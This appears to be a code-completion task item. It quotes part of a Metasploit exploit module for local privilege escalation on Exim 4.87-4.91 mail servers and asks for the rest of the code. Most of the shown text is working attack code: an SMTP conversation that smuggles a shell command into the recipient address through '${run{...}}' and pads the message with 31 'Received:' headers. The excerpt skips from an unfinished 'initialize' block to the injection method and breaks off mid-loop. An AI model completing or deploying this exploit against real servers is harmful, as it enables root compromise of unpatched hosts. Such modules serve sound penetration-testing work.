You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: exim4_deliver_message_priv_esc.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
    
    
  def inject_payload(payload)
    if session.type == 'meterpreter'
      socket_subsystem, socket = open_tcp_connection

      tcp_conversation = {
        nil => /220/,
        'helo localhost' => /250/,
        'MAIL FROM:<>' => /250/,
        "RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
        'DATA' => /354/,
        'Received:' => nil,
        '.' => /250/
      }

      begin
        tcp_conversation.each do |line, pattern|
          if line
            if line == 'Received:'
              for i in (1..31)
                socket.puts("#{line} #{i}\n")
              end
            else
              socket.puts("#{line}\n")
            end